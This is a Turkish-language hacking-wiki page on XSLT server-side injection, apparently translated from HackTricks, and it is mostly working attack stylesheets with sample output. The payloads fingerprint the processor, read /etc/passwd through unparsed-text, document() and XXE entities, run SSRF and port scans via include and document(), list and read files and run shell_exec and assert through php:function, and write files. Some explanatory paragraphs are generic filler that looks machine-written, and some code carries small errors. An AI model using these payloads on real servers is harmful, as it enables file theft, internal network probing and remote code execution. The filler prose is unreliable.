XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

Temel Bilgiler

XSLT, XML belgelerini farklı formatlara dönüştürmek için kullanılan bir teknolojidir. Üç versiyonu vardır: 1, 2 ve 3, en yaygın olarak kullanılan sürüm 1'dir. Dönüşüm işlemi sunucu üzerinde veya tarayıcı içinde gerçekleştirilebilir.

En sık kullanılan çerçeveler şunlardır:

  • Gnome'dan Libxslt,

  • Apache'den Xalan,

  • Saxonica'dan Saxon.

XSLT ile ilişkili zafiyetlerin sömürülmesi için sunucu tarafında xsl etiketlerinin depolanması ve ardından bu içeriğe erişilmesi gerekmektedir. Bu tür bir zafiyetin bir örneği aşağıdaki kaynakta belgelenmiştir: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Örnek - Eğitim

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
xml.xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Çalıştır:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

Parmak izi

detection.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

Ve çalıştır

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Yerel Dosya Okuma

read.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF (Server Side Request Forgery), sunucu tarafında istek sahteciliği anlamına gelir. Bu saldırı türünde, saldırgan hedef sunucuya istekler yaparak sunucunun iç ağ kaynaklarına erişim sağlamaya çalışır. SSRF saldırıları genellikle sunucunun güvenlik açıklarından yararlanarak gerçekleştirilir. Saldırgan, hedef sunucuya zararlı bir URL göndererek, sunucunun iç ağa erişmesini sağlar. Bu saldırı türü, hassas verilere erişim, iç ağ kaynaklarının keşfi ve hatta sunucunun tamamen ele geçirilmesi gibi ciddi sonuçlara yol açabilir.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Sürümler

Kullanılan XSLT sürümüne bağlı olarak daha fazla veya daha az işlev olabilir:

Parmak izi

Bunu yükleyin ve bilgi alın

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF (Server Side Request Forgery)

SSRF (Sunucu Tarafı İstek Sahteciliği), bir saldırganın hedef sunucu üzerinde istekler yapmak için sunucunun güvenlik önlemlerini aşmasını sağlayan bir saldırı türüdür. SSRF, sunucunun güvenlik duvarını atlayarak, iç ağa erişim sağlamak veya dış sunuculara istekler yapmak gibi farklı amaçlarla kullanılabilir.

SSRF saldırıları genellikle web uygulamalarında bulunan güvenlik açıklarından yararlanarak gerçekleştirilir. Saldırgan, hedef sunucuya zararlı bir istek göndererek, sunucunun iç ağa veya dış sunuculara erişim sağlamasını sağlar.

SSRF saldırıları, hedef sunucunun güvenlik duvarını atlayarak iç ağa erişim sağlamak için kullanılabilir. Bu, saldırganın sunucunun iç ağına erişerek hassas verilere veya hedef sunucunun diğer bileşenlerine zarar verebilmesi anlamına gelir.

Ayrıca, SSRF saldırıları dış sunuculara istekler yapmak için de kullanılabilir. Saldırgan, hedef sunucunun IP adresini veya alan adını hedefleyen bir istek göndererek, sunucunun dış sunuculara erişim sağlamasını sağlar. Bu, saldırganın hedef sunucunun güvenlik duvarını atlayarak, dış sunuculara erişim sağlamasını ve potansiyel olarak hassas bilgilere erişmesini sağlar.

SSRF saldırılarını önlemek için, sunucu tarafında giriş doğrulama ve filtreleme yapılmalıdır. Gelen isteklerin güvenli bir şekilde işlenmesi ve sadece güvenilir kaynaklara erişim sağlanması önemlidir. Ayrıca, sunucunun iç ağına erişim sağlayan isteklerin sınırlanması ve dış sunuculara erişim için güvenlik duvarı kurulması da önemlidir.

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Javascript Enjeksiyonu

Javascript enjeksiyonu, bir web uygulamasının güvenlik açıklarını kullanarak kötü niyetli Javascript kodlarının enjekte edilmesini ifade eder. Bu tür bir saldırı, saldırganın web uygulamasının kullanıcıları üzerinde kontrol sağlamasına ve çeşitli zararlı eylemler gerçekleştirmesine olanak tanır.

Javascript Enjeksiyonu Türleri

  1. Reflected Javascript Injection: Bu tür enjeksiyon, kullanıcının girdilerinin doğrudan web uygulaması tarafından geri döndürüldüğü yerlerde gerçekleşir. Saldırgan, kullanıcının girdilerine zararlı Javascript kodunu ekleyerek saldırıyı gerçekleştirir.

  2. Stored Javascript Injection: Bu tür enjeksiyon, kullanıcının girdilerinin veritabanında saklandığı yerlerde gerçekleşir. Saldırgan, kullanıcının girdilerine zararlı Javascript kodunu ekleyerek saldırıyı gerçekleştirir.

Javascript Enjeksiyonu Saldırı Senaryoları

  1. XSS (Cross-Site Scripting): Saldırgan, kullanıcının girdilerine zararlı Javascript kodunu ekleyerek, kullanıcıların tarayıcılarında bu kodun çalışmasını sağlar. Bu sayede saldırgan, kullanıcıların oturum bilgilerini çalabilir, kullanıcıları başka bir siteye yönlendirebilir veya zararlı eylemler gerçekleştirebilir.

  2. Clickjacking: Saldırgan, kullanıcının tıklama eylemlerini manipüle ederek, kullanıcıyı istenmeyen bir işlemi gerçekleştirmeye zorlar. Bu tür saldırılar genellikle zararlı bir web sayfası üzerinde gerçekleştirilir ve kullanıcının farkında olmadan zararlı bir işlemi gerçekleştirmesine neden olur.

Javascript Enjeksiyonu Önleme Yöntemleri

  1. Giriş Doğrulama ve Veri Temizleme: Kullanıcı girdileri doğru bir şekilde doğrulanmalı ve temizlenmelidir. Bu, zararlı Javascript kodunun enjekte edilmesini engelleyebilir.

  2. Güvenli Kodlama Uygulamaları: Web uygulaması geliştiricileri, güvenli kodlama uygulamalarını takip etmelidir. Bu, güvenlik açıklarının minimize edilmesine yardımcı olabilir.

  3. Güvenlik Duvarı Kullanımı: Web uygulamaları için güvenlik duvarı kullanmak, zararlı girişleri engelleyebilir ve saldırıları önleyebilir.

  4. Güncel Yazılım Kullanımı: Web uygulamalarının güncel ve güvenli bir şekilde çalışması için yazılımların düzenli olarak güncellenmesi önemlidir.

Javascript enjeksiyonu, web uygulamalarının güvenliğini ciddi şekilde etkileyebilen bir saldırı türüdür. Bu nedenle, web uygulamalarının güvenliğini sağlamak için gerekli önlemlerin alınması önemlidir.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Dizin listeleme (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Assert (var_dump + scandir + false)

Bu teknik, XSLT (Extensible Stylesheet Language Transformations) kullanarak sunucu tarafı enjeksiyonunu hedefler. Bu saldırı, hedef sunucunun XSLT işleme yeteneğini kötüye kullanır.

Saldırı Aşamaları:

  1. İlk adımda, hedef sunucuya bir XSLT dosyası gönderilir. Bu dosya, hedef sunucunun XSLT işleyicisi tarafından işlenecektir.

  2. XSLT dosyası içinde, var_dump ve scandir gibi işlevler kullanılarak hedef sunucunun dosya sistemi hakkında bilgi elde edilir.

  3. Elde edilen bilgiler, saldırganın hedef sunucuda gezinmesine ve hassas verilere erişmesine olanak tanır.

Örnek Kod:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    <xsl:output method="text" omit-xml-declaration="yes" indent="no"/>
    <xsl:template match="/">
        <xsl:variable name="output">
            <xsl:value-of select="php:function('var_dump', php:function('scandir', '.'))"/>
        </xsl:variable>
        <xsl:value-of select="$output"/>
    </xsl:template>
</xsl:stylesheet>

Bu örnek kod, hedef sunucuda bulunan mevcut dizindeki dosyaları scandir işleviyle tarar ve sonucu var_dump işleviyle görüntüler.

Korunma Yöntemleri:

  • Güvenlik duvarı ve WAF (Web Uygulama Güvenlik Duvarı) gibi güvenlik önlemleri kullanarak saldırıları engelleyin.

  • XSLT işleme yeteneğini devre dışı bırakın veya sınırlayın.

  • Giriş doğrulama ve veri doğrulama gibi güvenlik önlemlerini uygulayın.

  • Güncel ve güvenli bir sunucu yazılımı kullanın.

  • Hassas verileri korumak için erişim kontrolleri ve şifreleme kullanın.

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

İçerik - PHP

XSLT, XML tabanlı bir dönüşüm dilidir ve genellikle XML belgelerini başka bir formata dönüştürmek için kullanılır. Ancak, XSLT sunucusu tarafında gerçekleştirilen bir saldırı, sunucunun dosya sistemine erişim sağlayabilir ve hassas verileri ortaya çıkarabilir.

XSLT sunucusu tarafında gerçekleştirilen bir saldırıda, saldırgan, sunucunun dosya sistemine erişmek için XSLT'in document() işlevini kullanır. Bu işlev, belirli bir dosyayı okumak için kullanılır.

Örneğin, aşağıdaki XSLT kodu, /etc/passwd dosyasını okumak için document() işlevini kullanır:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Bu kod, sunucunun /etc/passwd dosyasını okuyacak ve sonucu döndürecektir. Saldırgan, bu yöntemi kullanarak sunucunun hassas verilerine erişebilir ve bu verileri kötü amaçlı amaçlar için kullanabilir.

Bu tür bir saldırıyı önlemek için, sunucunun XSLT işlevlerini sınırlamak veya devre dışı bırakmak önemlidir. Ayrıca, sunucunun dosya sistemine erişimi sınırlamak ve hassas verileri korumak için güvenlik önlemleri almak da önemlidir.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

İçsel - XXE

XXE (Extensible Markup Language Entity Expansion) bir saldırı türüdür. Bu saldırı, XML ayrıştırıcının dış kaynakları işlemesine izin veren zayıf bir yapıya sahip olduğu durumlarda gerçekleştirilir. XXE saldırıları, sunucu tarafında XSLT (Extensible Stylesheet Language Transformations) kullanılarak gerçekleştirilebilir.

XSLT Sunucu Tarafı Enjeksiyonu

XSLT sunucu tarafı enjeksiyonu, XSLT dönüşüm işlemlerindeki güvenlik açıklarını hedefler. Bu saldırı türü, sunucunun XSLT dönüşüm işlemlerini gerçekleştirmek için harici bir kaynağı işlemesine izin veren bir zafiyet kullanır.

XSLT sunucu tarafı enjeksiyonu saldırısı, aşağıdaki adımlarla gerçekleştirilebilir:

  1. Hedef uygulamada bir XML dosyası bulunur.

  2. XML dosyası, sunucu tarafında XSLT dönüşüm işlemine tabi tutulur.

  3. Saldırgan, XML dosyasında bir XXE saldırı vektörü ekler.

  4. Sunucu, XSLT dönüşüm işlemi sırasında saldırganın kontrolü altındaki harici bir kaynağı işler.

  5. Saldırgan, hassas verilere erişebilir veya sunucuda istismarlar gerçekleştirebilir.

Bu saldırı türü, sunucu tarafında XSLT dönüşüm işlemlerinin gerçekleştirildiği durumlarda kullanılabilir. Saldırgan, XXE saldırı vektörünü XML dosyasına ekleyerek sunucunun harici kaynakları işlemesini sağlar. Bu sayede saldırgan, sunucuda istismarlar gerçekleştirebilir veya hassas verilere erişebilir.

Önleme Yöntemleri

XSLT sunucu tarafı enjeksiyonu saldırılarını önlemek için aşağıdaki önlemler alınabilir:

  • Giriş doğrulama ve filtreleme: Gelen XML verileri doğrulanmalı ve güvenli olmayan içerikler filtrelenmelidir.

  • Harici kaynak işleme devre dışı bırakma: Sunucu tarafında harici kaynak işleme özelliği devre dışı bırakılmalıdır.

  • Güncellemeleri takip etme: Sunucu tarafında kullanılan XSLT işleyicileri ve diğer bileşenler güncel tutulmalıdır.

  • Güvenlik testleri: Uygulama, düzenli olarak güvenlik testlerine tabi tutulmalı ve zayıf noktalar tespit edilmelidir.

Bu önlemler, XSLT sunucu tarafı enjeksiyonu saldırılarını önlemeye yardımcı olabilir. Uygulama geliştiricileri ve sistem yöneticileri, güvenlik açıklarını tespit etmek ve düzeltmek için bu önlemleri uygulamalıdır.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

HTTP Üzerinden

XSLT sunucu tarafı enjeksiyonu, bir saldırganın hedef web uygulamasında XSLT (Extensible Stylesheet Language Transformations) kullanarak sunucu tarafında kod çalıştırmasına olanak tanır. Bu saldırı, hedef web uygulamasının XSLT işleme yeteneğine sahip olduğu durumlarda gerçekleştirilebilir.

XSLT, XML tabanlı bir dönüşüm dilidir ve XML belgelerini başka bir formata dönüştürmek için kullanılır. XSLT, bir XML belgesini alır ve belgeyi başka bir formata dönüştürmek için bir XSLT şablonu kullanır. Bu şablonlar, XSLT işlemcisi tarafından yorumlanır ve sonuç olarak dönüştürülmüş bir belge üretilir.

XSLT sunucu tarafı enjeksiyonu, saldırganın hedef web uygulamasına özel olarak hazırlanmış bir XSLT şablonu göndererek gerçekleştirilir. Bu şablon, saldırganın istediği kodu içerebilir ve sunucu tarafında çalıştırılabilir. Saldırgan, hedef web uygulamasının XSLT işlemcisi tarafından şablonun yorumlanması için bir HTTP isteği yapar ve sonuç olarak istediği kodun çalıştırılmasını sağlar.

XSLT sunucu tarafı enjeksiyonu, saldırganın hedef web uygulamasında yetkisiz olarak kod çalıştırmasına ve hassas verilere erişmesine olanak tanır. Bu saldırı türü, web uygulamasının XSLT işleme yeteneğini doğru bir şekilde sınırlamadığı durumlarda etkili olabilir.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

İç (PHP işlevi)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

Port taraması

Port taraması, bir hedef sistemdeki açık portları belirlemek için kullanılan bir tekniktir. Bu teknik, bir saldırganın hedef sistemdeki ağ servislerini keşfetmesine ve potansiyel zayıflıkları tespit etmesine olanak tanır. Port taraması, saldırganın hedef sistemdeki ağ trafiğini analiz etmesini sağlar ve bu sayede hedef sistemdeki açık portları belirleyebilir. Bu bilgi, saldırganın hedef sistemdeki ağ servislerine erişim sağlamasına ve potansiyel olarak saldırılar gerçekleştirmesine olanak tanır. Port taraması genellikle güvenlik testleri ve ağ keşfi için kullanılır.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Bir dosyaya yaz

XSLT 2.0

XSLT 2.0, bir dosyaya yazmak için xsl:result-document öğesini kullanır. Bu öğe, XSLT dönüşümünün sonucunu belirtilen bir dosyaya yazmak için kullanılır.

Aşağıdaki örnek, XSLT 2.0 kullanarak bir dosyaya yazmayı göstermektedir:

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:result-document href="output.txt">
      <xsl:text>Hello, World!</xsl:text>
    </xsl:result-document>
  </xsl:template>
</xsl:stylesheet>

Bu örnekte, xsl:result-document öğesi output.txt adlı bir dosyaya "Hello, World!" metnini yazacaktır.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J uzantısı

Xalan-J, Apache Xalan projesinin bir parçasıdır ve XSLT (Extensible Stylesheet Language Transformations) dönüşümlerini gerçekleştirmek için kullanılan bir Java kütüphanesidir. Xalan-J, XSLT dönüşümlerini gerçekleştirmek için kullanılan bir dizi sınıf ve yöntem sağlar.

Xalan-J uzantısı, XSLT dönüşümlerinde sunucu tarafı enjeksiyonu gerçekleştirmek için kullanılabilir. Bu, saldırganın XSLT dönüşümünü manipüle ederek sunucuda istenmeyen kodun çalıştırılmasını sağlamasına olanak tanır.

Xalan-J uzantısı kullanılarak gerçekleştirilen bir saldırıda, saldırgan özel olarak hazırlanmış bir XSLT dosyasını hedef sunucuya gönderir. Bu dosya, sunucunun XSLT dönüşümünü gerçekleştirmek için kullandığı Xalan-J kütüphanesindeki bir güvenlik açığından yararlanır.

Bu tür bir saldırıda, saldırganın hedef sunucuda istenmeyen kodu çalıştırabilmesi için XSLT dönüşümünde kullanılan bazı özelliklerin kötüye kullanılması gerekebilir. Örneğin, saldırgan bir dosya sistemi gezgini kullanarak sunucuda dosya okuma veya yazma işlemleri gerçekleştirebilir.

Xalan-J uzantısı kullanılarak gerçekleştirilen sunucu tarafı enjeksiyon saldırıları, hedef sunucunun güvenlik açıklarını sömürerek hassas verilerin sızdırılmasına veya sunucunun kontrolünün ele geçirilmesine yol açabilir. Bu nedenle, Xalan-J uzantısının güvenli bir şekilde yapılandırıldığından ve güncellemelerin düzenli olarak uygulandığından emin olmak önemlidir.

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Harici XSL dosyalarını dahil etmek

Bir PDF dosyasına dosya yazmanın diğer yolları

Harici XSL dosyalarını dahil etmek

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Bu yöntem, XSLT tarafından desteklenen bir işlev olan php:function kullanarak PHP kodunu yürütmek için kullanılır. Bu işlev, XSLT dönüşümü sırasında PHP işlevlerini çağırmak için kullanılır.

Kullanımı şu şekildedir:

<xsl:value-of select="php:function('function_name', 'parameter1', 'parameter2', ...)" />

Burada function_name çağrılacak PHP işlevinin adını temsil eder ve parameter1, parameter2, vb. işlevin parametreleridir.

Bu yöntem, sunucu tarafında PHP yürütme yeteneği olan hedef sistemlerde kullanılabilir. Ancak, bu yöntem genellikle güvenlik duvarları veya filtreleme mekanizmaları tarafından engellendiği için etkili olmayabilir.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Daha Fazla Dil

Bu sayfada diğer dillerde RCE örnekleri bulabilirsiniz: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Sınıflardan PHP statik fonksiyonlara erişim

Aşağıdaki fonksiyon, XSL sınıfının stringToUrl adlı statik metodunu çağıracaktır:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

(Örnek http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls adresinden alınmıştır)

Daha Fazla Payload

Brute-Force Tespit Listesi

Referanslar

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!

Last updated